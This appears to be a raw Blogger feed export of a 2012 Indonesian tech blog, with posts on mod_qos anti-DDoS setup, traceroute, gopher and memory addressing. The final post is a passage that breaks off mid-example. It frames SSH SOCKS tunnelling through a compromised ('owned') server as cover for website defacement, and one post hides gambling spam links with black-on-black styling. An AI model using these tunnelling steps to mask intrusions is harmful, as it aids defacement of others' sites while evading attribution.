/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [-Wl,&amp;lt;flags&amp;gt;] [-p] &amp;lt;files&amp;gt; ...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; apxs -i [-S &amp;lt;var&amp;gt;=&amp;lt;val&amp;gt;] [-a] [-A] [-n &amp;lt;modname&amp;gt;] &amp;lt;dsofile&amp;gt; ...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; apxs -e [-S &amp;lt;var&amp;gt;=&amp;lt;val&amp;gt;] [-a] [-A] [-n &amp;lt;modname&amp;gt;] &amp;lt;dsofile&amp;gt; ...&lt;br /&gt;================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lalu kompile dg cepat , lincah dan gagah berani:&lt;br /&gt;==============&lt;br /&gt;root@server [~/anti_ddos/mod_qos-10.2/apache2]# apxs -i -c mod_qos.c&lt;br /&gt;/usr/local/apache/build/libtool --silent --mode=compile gcc -prefer-pic -m64 -fPIC -DPIC&amp;nbsp; -DLINUX=2 -D_REENTRANT -D_GNU_SOURCE -m64 -fPIC -DPIC -pthread -I/opt/pcre/include -I/usr/local/apache/include&amp;nbsp; -I/usr/local/apache/include&amp;nbsp;&amp;nbsp; -I/usr/local/apache/include&amp;nbsp;&amp;nbsp; -c -o mod_qos.lo mod_qos.c &amp;amp;&amp;amp; touch mod_qos.slo&lt;br /&gt;/usr/local/apache/build/libtool --silent --mode=link gcc -o mod_qos.la&amp;nbsp; -rpath /usr/local/apache/modules -module -avoid-version&amp;nbsp;&amp;nbsp;&amp;nbsp; mod_qos.lo&lt;br /&gt;/usr/local/apache/build/instdso.sh SH_LIBTOOL='/usr/local/apache/build/libtool' mod_qos.la /usr/local/apache/modules&lt;br /&gt;/usr/local/apache/build/libtool --mode=install cp mod_qos.la /usr/local/apache/modules/&lt;br /&gt;cp .libs/mod_qos.so /usr/local/apache/modules/mod_qos.so&lt;br /&gt;cp .libs/mod_qos.lai /usr/local/apache/modules/mod_qos.la&lt;br /&gt;cp .libs/mod_qos.a /usr/local/apache/modules/mod_qos.a&lt;br /&gt;chmod 644 /usr/local/apache/modules/mod_qos.a&lt;br /&gt;ranlib /usr/local/apache/modules/mod_qos.a&lt;br /&gt;PATH="$PATH:/sbin" ldconfig -n /usr/local/apache/modules&lt;br /&gt;----------------------------------------------------------------------&lt;br /&gt;Libraries have been installed in:&lt;br /&gt;&amp;nbsp;&amp;nbsp; /usr/local/apache/modules&lt;br /&gt;&lt;br /&gt;If you ever happen to want to link against installed libraries&lt;br /&gt;in a given directory, LIBDIR, you must either use libtool, and&lt;br /&gt;specify the full pathname of the library, or use the `-LLIBDIR'&lt;br /&gt;flag during linking and do at least one of the following:&lt;br /&gt;&amp;nbsp;&amp;nbsp; - add LIBDIR to the `LD_LIBRARY_PATH' environment variable&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; during execution&lt;br /&gt;&amp;nbsp;&amp;nbsp; - add LIBDIR to the `LD_RUN_PATH' environment variable&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; during linking&lt;br /&gt;&amp;nbsp;&amp;nbsp; - use the `-Wl,--rpath -Wl,LIBDIR' linker flag&lt;br /&gt;&amp;nbsp;&amp;nbsp; - have your system administrator add LIBDIR to `/etc/ld.so.conf'&lt;br /&gt;&lt;br /&gt;See any operating system documentation about shared libraries for&lt;br /&gt;more information, such as the ld(1) and ld.so(8) manual pages.&lt;br /&gt;----------------------------------------------------------------------&lt;br /&gt;chmod 755 /usr/local/apache/modules/mod_qos.so&lt;br /&gt;root@server [~/anti_ddos/mod_qos-10.2/apache2]# &lt;br /&gt;=================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ok selanjutnya kita teh liat apa sudah ada modulenya:&lt;br /&gt;===========&lt;br /&gt;root@server [/usr/local/apache/modules]# ls | grep mod_qos&lt;br /&gt;mod_qos.so*&lt;br /&gt;===========&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lalu teh tinggal bikin qos.conf di direktori /usr/local/apache/modules :&lt;br /&gt;=====&lt;br /&gt;## QoS Settings&lt;br /&gt;&lt;br /&gt;# handles connections from up to 100000 different IPs&lt;br /&gt;QS_ClientEntries 100000&lt;br /&gt;# will allow only 50 connections per IP&lt;br /&gt;QS_SrvMaxConnPerIP 50&lt;br /&gt;# maximum number of active TCP connections is limited to 256&lt;br /&gt;MaxClients              256&lt;br /&gt;# disables keep-alive when 70% of the TCP connections are occupied:&lt;br /&gt;QS_SrvMaxConnClose      180&lt;br /&gt;# minimum request/response speed (deny slow clients blocking the  server, ie. slowloris keeping connections open without requesting  anything):&lt;br /&gt;QS_SrvMinDataRate       150 1200&lt;br /&gt;# and limit request header and body (carefull, that limits uploads and post requests too):&lt;br /&gt;# LimitRequestFields      30&lt;br /&gt;# QS_LimitRequestBody     102400&lt;br /&gt;===================&lt;br /&gt;&lt;br /&gt;&amp;nbsp;cekidot jika dah siap:&lt;br /&gt;============================= &lt;br /&gt;root@server [/usr/local/apache/modules]# ls | grep qos&lt;br /&gt;mod_qos.so*&lt;br /&gt;qos.conf&lt;br /&gt;qos.load&lt;br /&gt;================ &lt;br /&gt;&lt;br /&gt;selanjutnya sangaut sangaut gampeeeuuung tinggeul tambahin sikit ja kode buat load module di httpd.conf:&lt;br /&gt;==========&lt;br /&gt;LoadModule qos_module /usr/local/apache/modules/mod_qos.so&lt;br /&gt;===========&lt;br /&gt;&lt;br /&gt;sesuaikeun dengan path mod qos ente&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;selanjutnya restart httpd:&lt;br /&gt;====&lt;br /&gt;root@server [/usr/local/apache/modules]# /etc/init.d/httpd restart&lt;br /&gt;=================================================&lt;br /&gt;&lt;br /&gt;dan selesai&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-4542045839203359742?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4542045839203359742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4542045839203359742'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/instalasi-modqos-102-untuk-server.html' title='instalasi mod_qos 10.2 untuk server apache oye nan unyu2'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-8702060626116913297</id><published>2012-02-27T00:43:00.001-08:00</published><updated>2012-02-27T00:51:37.314-08:00</updated><title type='text'>3 baris kode buatan syadmin pemalas untuk ngerjain orang</title><content type='html'>bagi anda2 sysadmin yang make apache dan males dan mao bersantai2 , males nginstall aneka mod proteksi untuk proteksi ddos, berikut ini adaeluh 3 baeries koeeede buat ngerjaaaaieeen orang yg lagi ddos:&lt;br /&gt;&lt;br /&gt;cekidot i love the movit movit 3 baris kode ala sysadmin pemalas buat sante2: &lt;br /&gt;====&lt;br /&gt;defined(my $pid = fork);&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if ($pid) &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;{&amp;nbsp;&amp;nbsp; exit;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp; &lt;br /&gt;for(;;)&amp;nbsp;&amp;nbsp; { system("/etc/init.d/./httpd stop"); &amp;nbsp;&amp;nbsp;&amp;nbsp; sleep 1;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; system("/etc/init.d/./httpd start"); &amp;nbsp;&amp;nbsp;&amp;nbsp; system("/etc/init.d/./httpd start");&amp;nbsp; sleep 25;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;===================&lt;br /&gt;&lt;br /&gt;keteeearranegeeeeuun:&lt;br /&gt;baris partama teh:&lt;br /&gt;defined(my $pid = fork);&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if ($pid) &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;{&amp;nbsp;&amp;nbsp; exit;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;baris kadua:&lt;br /&gt;for(;;)&amp;nbsp;&amp;nbsp; { system("/etc/init.d/./httpd stop"); &amp;nbsp;&amp;nbsp;&amp;nbsp; sleep 1;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  system("/etc/init.d/./httpd&lt;br /&gt;&lt;br /&gt;bariees ketitttgueaaa &lt;br /&gt;start"); &amp;nbsp;&amp;nbsp;&amp;nbsp; system("/etc/init.d/./httpd  start");&amp;nbsp; sleep 25;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;gaaampeeeung bet cuy ga pake mod apa2 ga pake firewooll ga pake eeelllkaaaaeeemmm dah bisa isenggg1n orraaang&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-8702060626116913297?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8702060626116913297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8702060626116913297'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/3-baris-kode-buatan-syadmin-untuk.html' title='3 baris kode buatan syadmin pemalas untuk ngerjain orang'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-5397213726809218116</id><published>2012-02-26T12:58:00.003-08:00</published><updated>2012-02-26T12:58:57.014-08:00</updated><title type='text'>sekilas tentang model memori dengan segmen dan offset</title><content type='html'>&lt;h6 class="uiStreamMessage"&gt;&lt;span class="messageBody"&gt;pada model memori dg segmen dan offset misal: 1A42:38A7,&lt;br /&gt;1A42 adl alamat segmen dan 38a7 adl alamat offset, alamat absolutnya adalah : 1dcc7 didapat dari    (1A42 * 10)+38a7=1dcc7&lt;/span&gt;&lt;/h6&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-5397213726809218116?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5397213726809218116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5397213726809218116'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/sekilas-tentang-model-memori-dengan.html' title='sekilas tentang model memori dengan segmen dan offset'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-619072359393789376</id><published>2012-02-26T12:58:00.000-08:00</published><updated>2012-02-26T12:58:07.046-08:00</updated><title type='text'>sekilas tentang boot sector</title><content type='html'>&lt;h6 class="uiStreamMessage"&gt;&lt;span class="messageBody"&gt;tiap  disk memiliki sec,cyl dan hds, blok 0=gabungan dari sector 1, cylinder 0  dan head 0 (1,0,0), blok 1 = gabungan dari sector 2, cylinder 0 dan  head 0 (2,0,0) , saat sistem reset bios melakukan pengecekan pada  blok 0  (1,0,0)  dengan alamat memori absolut 7C000&lt;/span&gt;&lt;/h6&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-619072359393789376?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/619072359393789376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/619072359393789376'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/sekilas-tentang-boot-sector.html' title='sekilas tentang boot sector'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-844005610613486457</id><published>2012-02-25T12:42:00.000-08:00</published><updated>2012-02-25T12:42:43.904-08:00</updated><title type='text'>[Cara Ngakses Gopher dari Console Linux]</title><content type='html'>[Cara Ngakses Gopher dari Console Linux]&lt;br /&gt;&lt;br /&gt;by: ev1lut10n&lt;br /&gt;&lt;br /&gt;Dedicated to :"Manusia Biasa Team"&lt;br /&gt;thanks to: Manusia Biasa Team, Devilzc0de Crew and Antijasakom&lt;br /&gt;kembali lagi dengan permainan 2 kita kali ini kita akan mencoba mengakses gopher dari konsole linux kite.&lt;br /&gt;gimana caranya ? dengan menggunakan gopher client.&lt;br /&gt;&lt;br /&gt;Apa sih gopher itu? gopher adalah protokol yang dikembangkan sekitar tahun 91 an sbg alternatif untuk http protokol.&lt;br /&gt;&lt;br /&gt;contoh gopher:&lt;br /&gt;gopher://sdf.org/1/users/wisdomc0&lt;br /&gt;&lt;br /&gt;cara mengakses gopher bisa dengan telnet ke server gopher di port 70 atau yang paling enak pake gopher client&lt;br /&gt;&lt;br /&gt;ketikkan dari console:&lt;br /&gt;====&lt;br /&gt;sudo apt-get install gopher&lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;jika sudah berhasil cekidot:&lt;br /&gt;======================================&lt;br /&gt;root@ev1lut10n-Vostro1310:~/backupan_g# gopher -h&lt;br /&gt;gopher: invalid option -- 'h'&lt;br /&gt;Usage: gopher [-sSbDr] [-T type] [-p path] [-t title] [hostname port]+&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -s&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; secure mode, users without own account&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -S&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; secure mode, users with own account&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -p path specify path to initial item&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -T type Type of initial item&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -i&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Search argument (for -T 7)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -b&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Bookmarks first&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -r&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Remote user&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Debug mode&lt;br /&gt;root@ev1lut10n-Vostro1310:~/backupan_g# gopher ?&lt;br /&gt;Welcome to the wonderful world of Gopher!&lt;br /&gt;&lt;br /&gt;Gopher has limitations on its use and comes without&lt;br /&gt;a warranty.&amp;nbsp; Please refer to the file 'Copyright' included&lt;br /&gt;in the distribution.&lt;br /&gt;&lt;br /&gt;Internet Gopher Information Client 3.0 patch12 (FurryTerror)&lt;br /&gt;Copyright (C) 1991-2000 by the Regents of the University of Minnesota&lt;br /&gt;Copyright (C) 2000-2005 John Goerzen and the gopher developers&lt;br /&gt;&lt;br /&gt;Press RETURN to continue&lt;br /&gt;=====================================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;nah jika pake gopher client yang dari konsole&lt;br /&gt;tinggal ketik dari konsole :&lt;br /&gt;&lt;br /&gt;gopher gopher://alamat_ip_atau_hostname_server_gopher&lt;br /&gt;&lt;br /&gt;misalnya ketikkan:&lt;br /&gt;============&lt;br /&gt;gopher gopher://sdf.org/1/users/wisdomc0&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;jika sudah berhasil kita bisa mengakses gophernya seperti gambar di bawah ini:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-zp6mkXsnqoQ/T0lHnrAXBZI/AAAAAAAAA6Y/7_Awcetly3o/s1600/gopher.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://3.bp.blogspot.com/-zp6mkXsnqoQ/T0lHnrAXBZI/AAAAAAAAA6Y/7_Awcetly3o/s1600/gopher.jpg" width="600" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;style&gt;#sbobet{color:black}&lt;/style&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="background-color: black;"&gt;&lt;br /&gt;&lt;a href="http://royalbet77.com/" id="sbobet" title="agen bola"&gt;agen bola sbobet&lt;/a&gt;&lt;br /&gt;&lt;a href="http://royalbet77.org/" id="sbobet" title="agen bola"&gt;agen bola sbobet&lt;/a&gt;&lt;br /&gt;&lt;a href="http://royalbet77.me/" id="sbobet" title="agen bola"&gt;agen bola sbobet&lt;/a&gt;&lt;br /&gt;&lt;a href="http://royalbet77.net/" id="sbobet" title="agen bola"&gt;agen bola sbobet&lt;/a&gt;&lt;br /&gt;&lt;a href="http://royalbet77.in/" id="sbobet" title="agen bola"&gt;agen bola sbobet&lt;/a&gt;&lt;br /&gt;&lt;a href="http://royalbet77.info/" id="sbobet" title="agen bola"&gt;agen bola sbobet&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-844005610613486457?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/844005610613486457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/844005610613486457'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/cara-ngakses-gopher-dari-console-linux.html' title='[Cara Ngakses Gopher dari Console Linux]'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-zp6mkXsnqoQ/T0lHnrAXBZI/AAAAAAAAA6Y/7_Awcetly3o/s72-c/gopher.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6146059247767388809</id><published>2012-02-25T12:08:00.000-08:00</published><updated>2012-02-25T12:08:15.108-08:00</updated><title type='text'>Mengetahui Berapa Banyak Router dari Server kita ke google.com</title><content type='html'>Mengetahui Berapa Banyak Router dari Server kita ke google.com&lt;br /&gt;&lt;br /&gt;by: ev1lut10n&lt;br /&gt;&lt;br /&gt;artikel ini khusus dipersembahkan untuk: "Manusia Biasa Team"&lt;br /&gt;dedicated for : "Manusia Biasa Team"&lt;br /&gt;thanks to all: Manusia Biasa Team , devilzc0de , antijasakom &lt;br /&gt;&lt;br /&gt;1 hop dalam jaringan bisa kita artikeun sebagai 1 router yang kita bablasin. tool depault di linux untuk kita bisa ngeliatin router2 misala&lt;br /&gt;dari server kita ke google, kita teh bisa pake tool yang namanya "traceroute"&lt;br /&gt;&lt;br /&gt;contoh di mari:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Sylvbc2EmBQ/T0k_luBRUDI/AAAAAAAAA6Q/cwgF4qK1-J8/s1600/router.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://4.bp.blogspot.com/-Sylvbc2EmBQ/T0k_luBRUDI/AAAAAAAAA6Q/cwgF4qK1-J8/s1600/router.jpg" width="820" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;nah di atas kita bisa liat sabaraha teh router2 yang udah dilewatin paket kita&lt;br /&gt;&lt;br /&gt;==========================&lt;br /&gt;sh-3.2# traceroute google.com&lt;br /&gt;traceroute to google.com (74.125.230.238), 30 hops max, 40 byte packets&lt;br /&gt;&amp;nbsp;1&amp;nbsp; 81.15.18.254 (81.15.18.254)&amp;nbsp; 0.542 ms&amp;nbsp; 0.783 ms&amp;nbsp; 1.100 ms&lt;br /&gt;&amp;nbsp;2&amp;nbsp; 193-4-250-217.static.metronet.is (193.4.250.217)&amp;nbsp; 2.071 ms&amp;nbsp; 2.290 ms&amp;nbsp; 2.420 ms&lt;br /&gt;&amp;nbsp;3&amp;nbsp; te1-1-E200-01-London.c.is (217.151.190.90)&amp;nbsp; 41.287 ms&amp;nbsp; 41.514 ms&amp;nbsp; 41.793 ms&lt;br /&gt;&amp;nbsp;4&amp;nbsp; 74.125.50.161 (74.125.50.161)&amp;nbsp; 44.766 ms&amp;nbsp; 44.894 ms&amp;nbsp; 45.271 ms&lt;br /&gt;&amp;nbsp;5&amp;nbsp; 209.85.252.76 (209.85.252.76)&amp;nbsp; 46.050 ms 209.85.255.175 (209.85.255.175)&amp;nbsp; 46.578 ms 209.85.252.76 (209.85.252.76)&amp;nbsp; 46.404 ms&lt;br /&gt;&amp;nbsp;6&amp;nbsp; 209.85.253.196 (209.85.253.196)&amp;nbsp; 46.285 ms 209.85.253.90 (209.85.253.90)&amp;nbsp; 42.504 ms&amp;nbsp; 40.204 ms&lt;br /&gt;&amp;nbsp;7&amp;nbsp; 209.85.242.79 (209.85.242.79)&amp;nbsp; 53.939 ms&amp;nbsp; 53.198 ms&amp;nbsp; 53.275 ms&lt;br /&gt;&amp;nbsp;8&amp;nbsp; 209.85.242.51 (209.85.242.51)&amp;nbsp; 49.556 ms&amp;nbsp; 49.786 ms&amp;nbsp; 50.106 ms&lt;br /&gt;&amp;nbsp;9&amp;nbsp; par08s10-in-f14.1e100.net (74.125.230.238)&amp;nbsp; 52.487 ms&amp;nbsp; 52.607 ms&amp;nbsp; 52.837 ms&lt;br /&gt;============================&lt;br /&gt;&lt;br /&gt;cekidot di hop pertama teh gateway routernya kita:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;1&amp;nbsp; 81.15.18.254&lt;br /&gt;&lt;br /&gt;hop selanjutnya ke router dg alamat ip:&lt;br /&gt;&lt;br /&gt;2. 193.4.250.217&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dst sampe akhirnya &lt;br /&gt;&lt;br /&gt;sampe di tujuan kita servernya om google:&lt;br /&gt;===================&lt;br /&gt;par08s10-in-f14.1e100.net (74.125.230.238)&amp;nbsp; &lt;br /&gt;==================&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6146059247767388809?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6146059247767388809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6146059247767388809'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/mengetahui-berapa-banyak-router-dari.html' title='Mengetahui Berapa Banyak Router dari Server kita ke google.com'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-Sylvbc2EmBQ/T0k_luBRUDI/AAAAAAAAA6Q/cwgF4qK1-J8/s72-c/router.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6646788031683727867</id><published>2012-02-25T06:10:00.000-08:00</published><updated>2012-02-25T06:10:12.935-08:00</updated><title type='text'>SSH tunneling di linux (socks) untuk proksi biar kegiatan deface2 lebih aman</title><content type='html'>SSH tunneling di linux (socks) untuk proksi biar kegiatan deface2 lebih aman&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;oleh: ev1lut10n&lt;br /&gt;&lt;br /&gt;especially dedicated for : "Manusia Biasa Team"&lt;br /&gt;https://www.facebook.com/#!/groups/newmbt/&lt;br /&gt;thanks: Raka, Doza, and all Manusia Biasa Team Members &lt;br /&gt;and also thanks to: All Devilzc0de Crews and da Members&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;misi agan2 ane cupu baru nyoba2 nulis artikel tentang ssh tunneling di linux.&lt;br /&gt;&lt;br /&gt;dengan ssh tunneling maka kita bisa menggunakan ssh server yang kita owned untuk socks (secure socket) &lt;br /&gt;saat kita melakukan aksi deface2 an dan hacking.&lt;br /&gt;&lt;br /&gt;tutorial ini ditujukan untuk pemula yang ingin belajar menggunakan ssh tunneling dari linux.&lt;br /&gt;bagi yang udah tau tidak disarankan membaca tulisan ini &lt;br /&gt;&lt;br /&gt;untuk melakukan ssh tunneling harus memiliki akun ssh yang permit tunnel&lt;br /&gt;misal pada open ssh yang tidak permit tunnel di server:&lt;br /&gt;#echo “PermitTunnel yes” &amp;gt;&amp;gt; /etc/ssh/sshd_config&lt;br /&gt;#/etc/init.d/&lt;br /&gt;&lt;br /&gt;lalu restart openssh:&lt;br /&gt;============================&lt;br /&gt;root@server [~]# /etc/init.d/sshd restart&lt;br /&gt;Stopping sshd:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&amp;nbsp; OK&amp;nbsp; ]&lt;br /&gt;Starting sshd:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&amp;nbsp; OK&amp;nbsp; ]&lt;br /&gt;=============================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;misal kita akan melakukan tunneling dengan memanfaatkan akun ssh , ketikkan:&lt;br /&gt;&lt;br /&gt;ssh -D port_lokal_untuk_tunneling -l akun_login_ssh ip_atau_hostname_ssh_server &lt;br /&gt;&lt;br /&gt;misal kita akan pakai port lokal 3339 utk tunneling:&lt;br /&gt;&lt;br /&gt;misal (hanya contoh):&lt;br /&gt;=======================================&lt;br /&gt;ssh -D 3339 mysql@serverbuattunnel.org&lt;br /&gt;mysql@lspr.edu's password: 